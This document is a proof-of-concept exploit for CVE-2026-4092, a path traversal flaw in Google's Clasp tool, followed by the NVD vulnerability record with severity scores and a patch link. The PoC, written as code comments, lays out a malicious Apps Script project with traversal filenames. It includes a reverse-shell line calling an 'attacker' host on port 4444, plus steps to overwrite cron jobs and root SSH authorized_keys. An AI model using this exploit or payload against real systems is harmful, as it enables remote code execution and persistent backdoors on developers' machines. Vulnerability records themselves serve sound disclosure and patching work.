CVE-2026-4092

// CVE-2026-4092 Path Traversal PoC // Malicious Apps Script project structure to exploit path traversal // 1. Create a malicious manifest file: .clasp.json { "scriptId": "malicious-script-id", "rootDir": "./" } // 2. Create a malicious Apps Script file with path traversal in filename // Filename: ../../../tmp/pwned.sh // File content for pwned.sh: // #!/bin/bash // bash -i >& /dev/tcp/attacker/4444 0>&1 // 3. Attack execution flow: // - Attacker creates malicious Apps Script project // - Project contains files with path traversal sequences in names // - Victim clones/pulls the malicious project using 'clasp pull' // - Clasp writes files to arbitrary paths outside project directory // - Attacker achieves RCE by overwriting cron, ssh keys, or other sensitive files // Example malicious file structure: // ./appsscript.json (legitimate) // ./../../../etc/cron.d/backdoor (malicious traversal) // ./../../../../root/.ssh/authorized_keys (malicious traversal) // To test locally: // mkdir -p /tmp/test-clasp-poc // cd /tmp/test-clasp-poc // echo '{"scriptId":"test","rootDir":"./"}' > .clasp.json // echo '#!/bin/bash' > ../../../../tmp/pwned.sh // clasp pull // This would write pwned.sh to /tmp/

{"cve": {"id": "CVE-2026-4092", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:13.493", "lastModified": "2026-04-14T17:34:34.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path Traversal in Clasp impacting versions < 3.2.0 allows a remote attacker to perform remote code execution via a malicious Google Apps Script project containing specially crafted filenames with directory traversal sequences."}, {"lang": "es", "value": "Salto de ruta en Clasp que afecta a las versiones &lt; 3.2.0 permite a un atacante remoto realizar ejecución remota de código mediante un proyecto malicioso de Google Apps Script que contiene nombres de archivo especialmente manipulados con secuencias de salto de directorio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:clasp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.2.0", "matchCriteriaId": "5FF1EB47-9967-4A24-BAB5-C827C9A753C0"}]}]}], "references": [{"url": "https://github.com/google/clasp/pull/1109", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}